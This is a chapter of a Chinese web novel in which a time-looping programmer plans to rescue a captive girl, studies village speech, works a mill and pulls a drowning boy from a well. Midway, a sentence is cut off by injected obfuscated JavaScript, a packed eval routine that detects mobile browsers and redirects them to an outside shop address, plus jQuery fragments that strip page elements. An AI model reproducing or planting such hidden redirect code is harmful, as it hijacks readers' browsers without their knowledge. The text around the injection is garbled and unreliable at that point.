复盘完毕，林越开始清点自己现有的东西。玉坠、关东煮、烤肠——还是老三样。他一件件拿出来又放回去，脑子里飞快盘算着。
玉坠温润的触感让他稍感安心——这大概是唯一能证明他来自另一个世界的东西。关东煮的纸杯已经有些发软，汤汁微微晃动；烤肠的塑料包装在阳光下反着光，显得格格不入。这些东西在现代不过是夜宵，在这里却成了他仅有的“初始物资”。林越苦笑，这开局比那些系统流主角寒酸多了，人家至少有个面板，他连个新手指导都没有，全靠自己摸索。
他将玉坠举到眼前，对着阳光仔细观察。岫玉材质，机器雕刻的平安扣，工艺粗糙，放在现代地摊上顶多卖三十块。但在这个世界，玉石本身就具有价值，何况是这样规整的圆形——或许能被当作某种护身符或信物。关键在于如何包装它的来历。
关东煮和烤肠必须在黄壤屯外吃掉。现代包装的食物出现在这个时代，被任何人看到都是天大的麻烦。身上的短袖T恤、牛仔裤和运动鞋也得处理掉，要么藏在破庙深处，要么想办法烧掉。得尽快弄一套当地的粗布麻衣，彻底融入环境。
火折子和食盐还是要想办法换。玉坠依旧是唯一的筹码，但还是要交易给富户，让其给商人带去清水镇，才能确保玉坠最终能流到龙语少女手中。只有这样，才能在她遇到困难时及时出现，建立起真正的联系。
林越在沙地上重新梳理时间线，手指在沙土上划出清晰的轨迹。
第一次轮回，第一天——我穿越到沙漠，抵达黄壤屯，夜宿破庙。
第二天——在黄壤屯观察学习语言，了解风俗，获悉集市规律：逢双日开张。
第三天（双日）——清晨前往集市，因发音错误被当作北狄奸细抓获，遭严刑拷打，最终死于乱葬岗。
他停顿了一下，在“第三天”下面画了一条横线。
第二次轮回，重生后第四天前往清水镇，打零工时目睹龙语少女被押送。
“这说明……”林越的手指在“第四天”三个字上点了点，“她在这一天之前就已经被抓了。但具体是哪一天？”
他闭上眼睛，努力回忆第二次轮回中的细节。当时他刚到清水镇，在酒肆后巷劈柴，听见外面有动静，就躲在门后偷看。几个玄铁甲护卫押着一个五花大绑的少女走过，那少女脖子上挂着的，正是他的平安扣玉坠。
“押送……说明她已经被审判过了。审判需要时间，抓捕需要时间，调查也需要时间。”林越在沙地上写下推算过程，“假设她是在清水镇被抓的，那么从被抓到审判，再到押送去行刑，至少需要1-2天？”
他重新整理思路，以本次轮回（第四次轮回）为基准，将时间线对齐。
“本次轮回，我重生在黄壤屯外沙漠，这是第一次轮回的第一天。那么，第二次轮回的第三天我放弃了去集市，转而出发去清水镇，抵达后找了酒肆砍柴，第二天看到少女被压送，第三次轮回是从清水镇外面开始，也就是第一次轮回的第三天傍晚，在牢中知道少女的事情，我被关是少女晒刑第三天，现在第四次轮回重新回到了第一次轮回的第一天，所以对应的是……”他在沙地上画了一个时间轴：
第一次轮回：第1天（穿越）→第2天→第3天（死亡） （第二次轮回变为出发去清水镇）
第二次轮回：第4天（少女被押送执行晒刑，自己被抓）→第5天（死亡）（第三次轮回时被抓）
第三次轮回：第6天（在牢中交谈，少女晒刑第三天，没动静了）→第7天（死亡）
“那么，龙语少女在我刚到清水镇的第一天就被押送，说明她至少在……”林越的手指在时间轴上移动，“之前就已经被抓了。也就是说，在第一次轮回的第三天或更早。”
他深吸一口气，意识到问题的紧迫性。
“按照之前牢中中年汉子的说法，‘晒刑’到了第三天就很危急了，所以龙语少女必须在‘晒刑’的第三天或之前获救——也就是在第6天结束前。 ”
【而今天，是第1天。】
林越在沙地上写下清晰的结论：
【倒计时：6天。】
必须在第六天结束前，赶到清水镇，找到龙语少女，并设法救她出来。
他盯着那个“6”字，感觉手腕上的黑痕似乎又增长了一点点。
想到这里，林越的动作忽然顿住了。
不对。
他慢慢坐下来，背靠沙丘，手指无意识地摩挲着腕间的黑痕。不是行动计划有问题，是他自己有问题。
从什么时候开始的？从第一次死亡开始？不，更早。从穿越那一瞬间——加班后拖着疲惫身体走出便利店，拎着关东煮和烤肠，下一秒就站在了这片沙漠里。那种被突兀拐卖到异世界的感觉，那种从熟悉日常被生生撕扯出来的断裂感，从一开始就种下了不安的种子，即便用一次次的吐槽和苦中作乐都无法掩盖。
然后是三次轮回。
第一次，狱中酷刑，断骨之痛。第二次，杖毙，皮开肉绽。第三次，斩首，刀锋落下那一瞬间的冰凉触感。每一次死亡都真实得刻骨铭心，每一次重生带来的不是希望，而是更深层的疲惫和……恐惧。
他在怕什么？不是怕死——反正能重生。是怕这种无休止的重复，怕这种永远在生死线上挣扎的状态，怕那种不管怎么努力都可能因为一个口误、一个眼神、一个无心之举就前功尽弃的荒诞感。
情绪不对，他清晰地意识到，状态越来越差。
这不是战斗疲劳症，这是存在危机。连续经历死亡和重生后，人的情绪会被磨损，判断力会下降，冲动会取代理性。第二次轮回里，他还能在绝望中冷静分析，第三次就开始冲动行事了。现在呢？复盘计划时，脑海里总有个声音在说：“反正会死，反正会重来。”
这声音很轻，但很致命。
林越想起以前看过的一些心理学文章——关于创伤后应激障碍，关于情绪调节。他不是心理医生，但现代人多少接触过这些概念。认知行为疗法：改变想法就能改变情绪。他需要给自己的经历重新“编码”。
“我不是被动承受的受害者，”他低声自语，“我是主动探索的冒险者。每一次死亡不是失败，是数据收集。每一次重生不是惩罚，是迭代机会。”
这个角度让他感觉好多了。程序员思维再次发挥作用——把生死轮回看作一个bug频出的系统，而他是那个负责debug的程序员。虽然这个系统有点过于硬核，动不动就删档重来。
林越闭上眼，深深吸气。沙漠的热风灌进肺里，带着沙土的颗粒感。他需要调整，不是战术调整，是心理调整。否则就算计划再完美，执行的时候也会出岔子。
怎么调整？
他睁开眼睛，看向远处的地平线。黄壤屯的轮廓在热浪中微微扭曲。劫后余生的喜悦——这是最现成的情绪资源。死里逃生的人会笑，会庆幸，会感受到活着的强烈实感。那就从这里开始。
他站起来，拍了拍身上的沙尘。脸上慢慢露出一个笑容——不是苦笑，不是自嘲，是真正的、发自内心的笑。阳光刺眼，但他迎着光抬起头。
“选择。”他对自己说，“选择沉浸在这种喜悦里。把死亡的记忆压下去，把疲惫藏起来，让劫后余生的感觉占据主导。这不是逃避，是战术。情绪管理也是生存的一部分。”
这个决定做出来后，心里某个紧绷的地方忽然松动了。他选择沉浸在劫后余生的喜悦中。
他脱掉上衣，赤膊站在烈日下，让阳光灼烤着皮肤。汗水顺着脊背滑落，带来一种奇异的畅快感。他深吸一口气，然后缓缓呼出，仿佛要将体内所有的恐惧和压抑都呼出去。
“这次……不能再犯错了。”他对自己说，“红痕用完了，没有重来的机会了。这次，必须一次成功。”
他重新穿上衣服，拍了拍身上的沙尘。脸上的笑容依然灿烂，但眼神中多了一份坚定。他迈开脚步，朝着黄壤屯的方向走去。步伐轻快而坚定，与之前那种小心翼翼、如履薄冰的步伐完全不同。
阳光照在他的背上，投下长长的影子。那影子在沙地上跳跃着，仿佛也在为他的重生而欢欣鼓舞。
【这次，不论是什么挑战，我都会赢。】
黄壤屯外三里地，有一座废弃的土地庙。
庙很小，统共两间房，正殿的泥塑神像半边身子都塌了，露出里面的稻草和木架。屋顶的瓦片缺了大半，抬头就能看见星空。但胜在偏僻，离官道远，平时没什么人来。林越在庙后头的荒草丛里发现了一口枯井，井沿的青石板上还刻着些模糊的字迹，勉强能辨认出“风调雨顺”四个字。
他把破庙简单收拾了一下。正殿漏雨太厉害，就选了侧边那间勉强还有屋顶的厢房。墙角堆着些干稻草、火石碎屑和一个破碗，大概是之前流民留下的。他把稻草铺开，又去外面捡了些干树枝，在墙角生了一小堆火。火光映亮了斑驳的墙壁，上面还有些不知哪个年月留下的涂鸦——歪歪扭扭的人形，像是孩童的随手画。
收拾的时候，林越发现墙角有几块松动的砖石。他小心撬开，发现里面是个不大的空洞，应该是当初建庙时留下的。这个发现让他心中一喜——正好可以用来藏匿那些绝对不能见光的现代物品。他把短袖T恤、牛仔裤、运动鞋用破布仔细包好，塞进空洞深处，又将砖石原样垒回去，还在表面撒了些尘土做旧。
做完这些，他才稍微松了口气。现代衣物是他与原来世界最后的物理联系，但在这个世界，它们和定时炸弹没什么区别。烧掉是最保险的，但他暂时还下不了手——就像很多人明明知道旧手机该扔了，却还是留在抽屉里一样。
当晚，他就着火光吃掉了最后一根烤肠。现代包装的塑料膜在火光下泛着不合时宜的光泽，他盯着看了片刻，然后用力撕开叠好，又把关东煮倒在破碗里吃喝掉。他吃得很慢，每一口都嚼得很仔细，仿佛在进行某种仪式。
黎明前的黑暗最是深沉，林越躺在破庙的干草堆上，睁眼看着屋顶的破洞。星星已经隐去，天空泛出鱼肚白。他没有睡，脑子里一遍遍过着计划。
第一天，要做的有三件事：一，系统性地修正语言认知；二，获取食水；三，打听消息。
他翻身坐起，从怀里掏出那本“笔记本”——其实就是几块从破庙墙上撕下来的黄纸，用烧焦的木炭当笔。上面密密麻麻记着前三次轮回中接触到的词汇、发音、语法错误点。
“发音是最大的坑。”他低声自语，手指点在第一行，“‘多钱’是北狄口音，要说‘价几何’。”
“‘饿’字千万不能说成‘龙’。”
“声调……”他皱起眉，这比词汇更棘手。大炎官话有六七个声调，现代普通话只有四个，很多字在他听来差异极小，但对本地人而言可能天差地别。第三次轮回中，他就因为一个声调错误被当众指正，虽然没引发大麻烦，但也暴露了“口音不正”的问题。
天亮了。
林越换上再次偷来的粗布麻衣——洗了好几遍，但还有股淡淡的霉味。他把现代衣物——短袖T恤、牛仔裤、运动鞋——用破布包好，塞进土地庙神像背后的空洞里。关东煮和烤肠的纸杯和塑料包装袋则被他塞进墙缝深处。
这些东西，等时机成熟再处理掉。
他走出破庙，迎着晨光朝黄壤屯走去。
黄壤屯比清水镇小得多，更像一个大一点的村落。土坯房子沿着一条主街排列，街面是夯实的黄土，车辙印深深浅浅。早起的人已经忙碌起来，妇人提着木桶去井边打水，汉子扛着农具往田里去，几个孩童在街角追逐嬉戏。
林越没有贸然开口。
他在街边找了个不起眼的角落蹲下，装成等待活计的流民模样，耳朵却竖得老高，捕捉着每一句对话。
“张嫂，今儿个井水还浑么？”
“浑着呢，昨儿夜里下过雨，得澄澄才能用。”
“李二哥，你家那亩麦子该浇了吧？”
“浇了浇了，王千户家的水渠先给用，咱得排队。”
林越在黄纸上飞快记录：井水、澄、亩、浇、水渠、排队。这些日常对话透露的信息远比表面多。从“王千户家的水渠先给用”可以推断：第一，王千户在当地拥有特权，连灌溉用水都有优先权；第二，这种特权被普通百姓接受为常态，说明等级森严；第三，“排队”意味着资源分配有明确规则，这可能成为他日后可以利用的点。
林越在“王千户”旁边标注了“军事权威、水资源控制”，在“排队”后面写了“潜在冲突点”。现代项目管理经验告诉他，任何系统都有瓶颈和矛盾，找到它们就等于找到了杠杆。
他发现黄壤屯的口音确实比清水镇更粗犷，语速更快，很多词的尾音会吞掉。比如“浇水”说快了就成“浇儿”，“排队”说成“排儿”。还有不少俚语，他得结合场景才能猜出意思。
“嘿，那愣子又在那儿发呆。”
“甭理他，许是北边逃来的，脑子不好使。”
林越心里一动，面上却不动声色。他知道“愣子”是傻子、呆子的意思，“甭”是不用的合音，“许是”大概是。这些词汇在前几次轮回中都接触过，但这次他要系统记录。
一上午过去，他记了满满两页纸。
中午时分，肚子咕咕叫起来。林越收起纸笔，开始寻找打零工的机会。他走到屯子西头一家磨坊前，看见老板正费力地往磨盘上倒麦子。
“掌柜的，可需帮手？”他开口，声音刻意压低，带着点沙哑——装成长途跋涉后疲惫的样子。
老板抬头打量他：“哪儿来的？”
“北边逃来的。”林越按照想好的说辞，“家里遭了抢，想来讨口饭吃。”
“会推磨么？”
“会。”
“推一天，管两顿稀的，外加三个铜板。”老板指着旁边的石磨，“从午时推到申时，中间歇一刻钟。”
“成。”
林越挽起袖子，开始推磨。石磨很沉，推起来费劲，但他需要这份工作——不仅为了食水，更为了接触本地人。石磨的碾盘是厚重的青石，推起来需要全身发力。林越调整呼吸，用腰腿的力量带动手臂，避免单纯依靠上肢——这是他在健身房学到的技巧，虽然那里的器械和这原始的石磨天差地别。每推一圈，麦粒在磨盘间发出细微的碎裂声，面粉从缝隙中簌簌落下。单调的重复动作让思维可以自由发散，他的耳朵像雷达一样捕捉着磨坊里的每一句对话。
磨坊里陆续有人来磨面，多是妇人。她们一边等一边闲聊，话题从家长里短到屯里新鲜事。
“听说了没？王千户昨儿个又去刘员外家吃酒了。”
“可不，刘员外家的小子不是刚中了童生么，千户大人去道贺。”
“啧啧，刘员外这面子够大的。”
“那可不，人家家里有矿……不是，有盐引子，跟千户大人那是老交情了。”
林越手上不停，耳朵却捕捉着关键信息：王千户（驻兵千户）、刘员外（富户）、童生（
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119395|195946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
科举第一级）、盐引子（盐业专卖凭证）。更重要的是，他确认了千户和富户确实往来密切。
下午，一个老妇人来磨豆子，看见林越推磨的架势，随口问：“小伙子，哪儿的人啊？口音听着有点怪。”
林越心里一紧，但面上平静：“北边来的，逃来的路上走了三个月，口音怕是杂了。”
“北边啊……”老妇人点头，“那是远，口音跟咱这儿是不一样。不过你这话说得还算清楚，比前阵子那几个北狄细作强多了。”
“北狄细作？”
“可不，上个月抓了好几个，都说自己是逃来的，结果一查，是北狄派来的探子。”老妇人压低声音，“王千户亲自审的，听说用了大刑，最后都砍了。”
林越背后冒出冷汗。他想起第一次轮回，自己就是因为“多钱”这个北狄口音被当成细作。现在看来，黄壤屯对北狄人的警惕性极高。
“多谢大娘提醒。”他诚恳地说，“小人才到此地，许多规矩不懂，还请大娘多指点。”
老妇人见他态度恭敬，话也多了起来：“看你是个老实人，大娘就多说两句。在咱黄壤屯，第一，别乱打听驻军的事；第二，见了穿官服的得低头行礼；第三，说话注意着点，有些词不能乱说。”
“哪些词？”林越顺势问。
“比如尊贵的那个字”老妇人用手比划了龙字，“那是皇家的，咱平民百姓不能说。还有‘王’字，在千户大人面前得避讳，要说‘大人’或者‘千户大人’。再有就是北狄那边的话，一个字都不能沾。”
林越连连点头，把这些都记在心里。
傍晚，磨坊老板给了他三个铜板和两个杂粮饼子。饼子又干又硬，但能填饱肚子。林越就着井水啃完一个，把另一个小心包好，塞进怀里。
他没有立刻回破庙，而是在屯子里转悠，观察地形，记下重要地标：千户所（屯子北头，有士兵把守）、刘员外家（屯子中心，青砖瓦房，门口有石狮子）、水井（三处，分别在东、西、南街）、集市空地（逢双日开市）。
观察这些地标时，林越采用了系统的方法。他在黄纸上画了简单的屯子地图，标注每个地点的相对位置和特征。刘员外家的青砖瓦房在土坯房中格外显眼，说明其财富和地位；门口的石狮子虽小，但雕刻精细，是身份的象征。千户所则更注重实用——围墙高大，门口有岗哨，士兵的装备看起来保养得不错，说明王千户治军严谨。
三口水井的位置分布也很有意思：东街井靠近刘员外家，西街井靠近磨坊，南街井靠近普通民居。水资源分配往往是社会结构的缩影，这一点在古代尤其明显。
回到破庙时，天已经黑了。
林越生起火，借着火光整理今天的收获。黄纸上记满了词汇、发音、俚语、礼仪禁忌，还有人物关系图。
他在“王千户”和“刘员外”之间画了条双线，标注“密切往来”。又在“刘员外”旁边写了“盐引子”、“童生儿子”、“青砖瓦房”。
玉坠要换给刘员外，但不能像上次那样简单交易。他盘算着，必须借机搭上关系，最好能见到王千户。
手腕上的黑痕隐隐发痒。林越低头看去，那道痕迹似乎比昨天长了一点点——很细微，但他能感觉到。
倒计时开始了。
他深吸一口气，把杂念压下，开始复习今天的语言记录。每个词的发音，每个句子的语调，每个礼仪细节，都在心里过了好几遍。
这一夜，他梦见了清水镇，梦见龙语少女被绑在木架上，烈日灼烤着她的皮肤。她脖子上挂着的，正是他的平安扣玉坠。
第二天清晨，林越早早醒来。
他用井水洗了把脸，把粗布衣服整理整齐，又把那枚平安扣玉坠拿出来，对着晨光仔细端详。玉是普通的岫玉，机器雕刻的纹路整齐但呆板，在现代也就是几十块钱的饰品。但在这个世界，它或许能换来更多。
今天的目标：去刘员外家用玉坠换取物资，试探接触，争取搭上王千户的关系。
他把玉坠贴身放好，怀里揣着昨天剩的杂粮饼，走出了破庙。
黄壤屯的早晨比昨天更热闹些。今天逢单，不是集日，但街上的人也不少。林越特意绕道从刘员外家门前经过，看见大门紧闭，门口的家丁正在清扫台阶。
他没有贸然上前，而是继续往前走，打算先观察一下周围环境。
屯子东头有一片小树林，林边有几口灌溉用的水井。几个孩童正在井边玩耍，大约是七八岁的年纪，你追我赶，笑声清脆。
林越看了一眼，没太在意，继续往前走。
他需要想好说辞。直接说“我想用玉坠换东西”太生硬，最好能有个由头。比如……假装是祖传之物，因逃跑不得已变卖？或者说是捡到的，想找失主？
正思考间，身后突然传来一声尖叫。
“救命啊！小少爷掉井里了！”
林越猛地回头。
只见刚才那几个孩童围在一口井边，慌作一团。一个家仆模样的中年人正趴在井口，焦急地朝下张望，一边大喊：“快来人啊！小少爷掉下去了！”
林越想都没想，拔腿就朝井边冲去。
井口不大，直径约三尺，井壁上长满青苔。林越趴在井沿往下看，只见一个约莫五六岁的男孩正在水里扑腾，水不算深，但孩子显然不会游泳，呛了好几口水。
“让开！”林越对那家仆说，同时快速脱掉外衣。
“尔、你会尔么？”家仆慌得话都说不利索。
“会一点！”林越其实是旱鸭子，但现代都市人多少学过点急救知识，且水不深，即便算上光线误导问题，应该也没不到脖子。他观察井壁，发现有几处凸起的石头可以落脚。
不能直接跳，井口太小，容易撞到。他冷静分析，得爬下去。
林越抓住井沿，小心翼翼地把脚探下去，踩在第一块凸起的石头上。石头很滑，他差点失足，赶紧稳住身体，继续往下。
井很深，大约三丈。越往下光线越暗，井水冰凉的气息扑面而来。男孩的扑腾声越来越微弱。
林越心急如焚，但动作不敢太快——万一自己也掉下去，摔着磕着了，两个人都得完蛋。
终于，他的脚触到了水面。
“孩子，别怕！”他朝男孩喊，“抓住我的手！”
男孩已经呛得神志不清，双手胡乱挥舞。林越看准时机，一把抓住男孩的衣领，另一只手紧紧扒住井壁的石头。
上去比下来更难。
他深吸一口气，开始往上爬。一手抓着男孩，一手扒着井壁，全靠脚上的力气支撑。井壁湿滑，每爬一步都极其艰难。男孩虽然不重，但在这种情况下，任何额外的重量都是巨大的负担。
爬到一半，林越的手开始发抖，脚底的石头突然松动。
“啊！”他脚下一滑，整个人往下坠了半尺，幸好另一只脚及时踩住另一块石头。
井口传来家仆的喊声：“坚持住！我去找绳子！”
等绳子来就晚了。林越咬牙，继续往上爬。
汗水混着井水流进眼睛，火辣辣地疼。他的手臂肌肉在尖叫，后背不存在的伤口（前几次轮回留下的心理记忆）仿佛也在隐隐作痛。
一步，两步，三步……
终于，他看到了井口的光。
几双手伸下来，抓住了他的胳膊，把他和男孩一起拉了上去。
林越瘫倒在井边，大口喘气。男孩躺在一旁，脸色青紫，已经没了动静。